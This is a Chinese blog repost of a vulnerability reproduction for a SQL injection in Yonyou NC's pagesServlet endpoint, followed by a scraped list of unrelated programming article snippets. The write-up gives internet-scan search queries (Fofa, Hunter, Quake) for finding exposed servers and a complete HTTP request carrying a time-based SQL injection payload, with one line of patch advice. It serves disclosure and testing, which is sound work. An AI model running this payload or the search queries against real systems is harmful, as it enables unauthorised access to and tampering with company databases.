当前位置： 首页 > news >正文

【漏洞复现】用友 NC pagesServlet Sql注入漏洞

news 2026/2/9 12:42:50

免责声明：

        本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。阅读者应该明白，在利用本文提到的漏洞信息或进行相关测试时，可能会违反某些法律法规或服务协议。同时，未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时，必须遵守适用法律法规和相关服务协议，并独自承担所有风险和责任。如有侵权，请联系删除。
免责声明

产品简介

用友NC是大型企业管理与电子商务平台，帮助企业实现管理转型升级全面从以产品为中心转向以客户为中心（C2B）；从流程驱动转向数据驱动（DDE）；从延时运行转为实时运行（RTE）；从领导指挥到员工创新（E2M）

漏洞描述

用友 NC doPost 接口 pagesServlet 参数存在一个 SQL 注入漏洞，通过这个漏洞可以操纵服务器的数据库。这意味着不法分子可以利用这个漏洞来获取对数据库的完全控制权，从而查看、修改甚至删除数据库中的数据，严重威胁系统的安全性。

网络空间会测

Fofa

title="YONYOU NC"

Hunter

app.name="用友 NC Download Page"

Quake

app:"用友 NC"

image.png

漏洞复现

GET /portal/pt/servlet/pagesServlet/doPost?pageId=login&pk_group=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

image.png

修复建议

更新oa至最新版本

相关文章：

【漏洞复现】用友 NC pagesServlet Sql注入漏洞

免责声明： 本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。阅读者应该明白，在利用本文提到的漏洞信息或进行相关测…...

编程日记 2024/9/12 6:50:17

边缘检测运用

文章目录 一、简介1.边缘检测的概念2.边缘检测的目的 二、代码实现三、边缘检测的方法1.1Canny边缘检测器1.2.Canny代码实现2.1Sobel边缘检测器2.2Sobel代码实现3.1Laplacian边缘检测器3.2Laplacian代码实现4.1Scharr边缘检测器4.2Scharr代码实现 四、边缘检测的应用 一、简介 …...

编程日记 2024/9/12 6:46:12

应用宝自动下载安装

import uiautomator2 as u2 from threading import Thread import logging import sys import os loggerlogging.getLogger("uiautomator2") logger.setLevel(logging.INFO) d u2.connect()"""下载模块""" class yingyongbao(object…...

编程日记 2024/9/12 6:45:11

Vue 2 中实现双击事件的几种方法

在 Vue 2 中处理用户交互，特别是双击事件，是一个常见的需求。Vue 提供了一种简洁的方式来绑定事件，包括双击事件。本文将介绍几种在 Vue 2 中实现双击事件的方法。 1. 使用 dblclick 指令 Vue 允许你直接在模板中使用 dblclick 指令来监听双…...

编程日记 2024/9/12 6:44:10

windows服务管理插件 nssm

NSSM是一个windows下服务管理插件，可以填加、删除、启动、停止服务 1.下载 官网：http://nssm.cc 下载页面：http://nssm.cc/download 直接下载：http://nssm.cc/release/nssm-2.24.zip 2.食用 以填加php8.2为例 2.1.将nssm.ex…...

编程日记 2024/9/12 6:41:06

【读书笔记-《30天自制操作系统》-19】Day20

本篇的内容围绕系统调用展开。为了让应用程序能够调用操作系统功能，引入了系统调用以及API的概念。首先实现了显示单个字符的API，让应用程序通过传递地址的方式进行调用；接下来又改进为通过中断的方式进行调用。在此基础上继续实现了显示字符…...

编程日记 2024/9/12 6:39:04

Kubernetes服务注册与发现

Kubernetes服务注册与发现 1、服务注册2、服务发现2.1 DNS服务发现2.2 环境变量（较少使用）💖The Begin💖点点关注，收藏不迷路💖 在Kubernetes中，服务注册与发现确保了Pod间的高效通信。 1、服务注册 当创建Service时，其信息被存储在Kubernetes的ETCD数据库中。Pod…...

编程日记 2024/9/12 6:36:01

【 html+css 绚丽Loading 】000047 玄武流转盘

前言：哈喽，大家好，今天给大家分享htmlcss 绚丽Loading！并提供具体代码帮助大家深入理解，彻底掌握！创作不易，如果能帮助到大家或者给大家一些灵感和启发，欢迎收藏关注哦 &#x1f495…...

编程日记 2024/9/12 6:35:00

线程池原理及改造

目录 一 线程池执行原理 二 线程池改造(一) 三 线程池改造(二) 一 线程池执行原理 首先我们先了解一下线程池里面几个参数： 第一个是核心线程数，第二个是线程池最大线程数。（线程池里面的线程分为核心线程和非核心线程，既然核心…...

编程日记 2024/9/12 6:33:58

彻底理解mysql Buffer Pool （拓展）

彻底理解Buffer Pool （拓展） 一、Buffer Pool 的内存管理策略对数据库性能的影响 内存分配与回收：Buffer Pool 在申请内存时，需要考虑操作系统的内存分配策略。如果分配不合理，可能导致内存碎片，影响性能…...

编程日记 2024/9/12 6:32:57

信号量（二值信号量和计数信号量）和互斥量

信号量 信号量（Semaphore） 是一种实现任务间通信的机制， 可以实现任务之间同步或临界资源的互斥访问， 常用于协助一组相互竞争的任务来访问临界资源。 在多任务系统中， 各任务之间需要同步或互斥实现临界资源的保护&a…...

编程日记 2024/9/12 6:30:55

结构型模式-python版

在21种设计模式中， 结构型设计模式有7种， 分别是： 适配器模式代理模式桥接模式享元模式外观模式组合模式装饰器模式 下面逐一简要介绍： 1 适配器模式 适配器（Adapter）设计模式是一种结构型设计模式&…...

编程日记 2024/9/12 6:29:54

Java重修笔记 第五十四天 坦克大战（二）常用的绘图方法、画出坦克图形

常用的绘图方法 1.设置当前画笔的颜色，可多次调用 public abstract void setColor(Color c) 参数：c -颜色 2. 画一条直线 public abstract void drawLine(int x1, int y1, int x2, int y2) 参数：x1 - 第一个点的 x坐标。 y1 - 第一点的 y坐…...

编程日记 2024/9/12 6:27:51

OpenAI澄清：“GPT Next”不是新模型。

不，”GPT Next” 并不是OpenAI的下一个重要项目。 本周早些时候，OpenAI 日本业务的负责人长崎忠男在日本 KDDI 峰会上分享了一场演讲，似乎在暗示一个名为 “GPT Next” 的新模型即将出现。 但OpenAI的一位发言人已向Mashable证实&#xff0…...

编程日记 2024/9/12 6:24:48

＜＜编码＞＞ 第 10 章 逻辑与开关(Logic and Switches) 示例电路

串联电路 info::操作说明 鼠标单击开关切换开合状态 需要两个开关同时闭合才能接通电路 primary::在线交互操作链接 https://cc.xiaogd.net/?startCircuitLinkhttps://book.xiaogd.net/code-hlchs-examples/assets/circuit/code-hlchs-ch10-01-series-circuit.txt 并联电路 in…...

编程日记 2024/9/12 6:23:46

深入浅出 Ansible 自动化运维：从入门到实战

在现代 IT 运维中，自动化是提升效率、降低错误率的关键。Ansible 作为一款流行的自动化工具，凭借其简洁的语法和强大的功能，成为了运维工程师的得力助手。本文将深入探讨 Ansible 的核心概念、实际应用以及一些实用的技巧，帮助你在…...

编程日记 2024/9/12 6:21:44

一句话描述设计模式

最近在看设计模式，其描述抽象程度令人欲罢不能，始终不得其意。于是尝试用一句话总结了一下，常规的就不说了，只是举了个例子。 单例模式 Spring中的单例bean使用了双重锁机制 工厂模式 Spring中的BeanFactory是简单工厂模式Bea…...

编程日记 2024/9/12 6:18:40

【Linux】Ubuntu 22.04 shell实现MySQL5.7 tar 一键安装

参考 https://blog.csdn.net/qq_35995514/article/details/134350572?spm1001.2014.3001.5501 在原作者基础上做了修改，加了一个删除原有mysql 的脚本 文章目录 一、安装下载**my.cnf 配置文件** 二、执行安装**install_mysql.sh 安装脚本**本机免密脚本 ssh_keyge…...

编程日记 2024/9/12 6:17:39

SQL Server开启网络访问

目前工作中很少用到SQL Server了，最近需要测试几个表，需要搭建一个SQL Server数据库服务，这里做个总结吧。 安装这里就不做详细介绍了，本文只介绍如何开启SQL Server网络访问。 1、云服务器安全组设置 如果是搭建在云服务器上&a…...

编程日记 2024/9/12 6:16:37

el-input设置type=‘number‘和v-model.number的区别

el-input设置typenumber’与设置.number修饰符的区别 1. 设置type‘number’ 使用el-input时想收集数字类型的数据，我们首先会想到typenumber，设置完type为number时会限制我们输入的内容只能为数字，不能为字符/汉字等非数字类型的数值&…...

编程日记 2024/9/12 6:15:35

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应，这是一种非线性光学现象，主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场，对材料产生非线性响应，可能…...

编程新知 2026/2/8 20:42:48

【kafka】Golang实现分布式Masscan任务调度系统

要求： 输出两个程序，一个命令行程序（命令行参数用flag）和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽，然后将消息推送到kafka里面。 服务端程序： 从kafka消费者接收…...

编程新知 2026/2/8 20:41:58

树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源： http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

编程新知 2025/11/5 13:03:58

STM32+rt-thread判断是否联网

一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...

编程新知 2025/9/23 20:06:08

工程地质软件市场：发展现状、趋势与策略建议

一、引言 在工程建设领域，准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具，正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

编程新知 2025/10/6 6:10:29

第一篇：Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代，智能代理（agents）不再是孤立的个体，而是能够像一个数字团队一样协作。然而，当前 AI 生态系统的碎片化阻碍了这一愿景的实现，导致了“AI 巴别塔问题”——不同代理之间…...

编程新知 2026/1/31 3:30:33

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具，可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板，允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板，并通…...

编程新知 2026/2/6 1:00:25

优选算法第十二讲：队列 + 宽搜 优先级队列

优选算法第十二讲：队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

编程新知 2026/1/20 17:18:59

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台

🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型（LLM）的广泛应用，开发者常面临多个挑战： 各大模型（OpenAI、Claude、Gemini、Ollama）接口风格不统一；缺乏一个统一平台进行模型调用与测试；本地模型 Ollama 的集成与前…...

编程新知 2026/1/25 3:31:07

Xen Server服务器释放磁盘空间

disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

编程新知 2025/11/19 6:04:18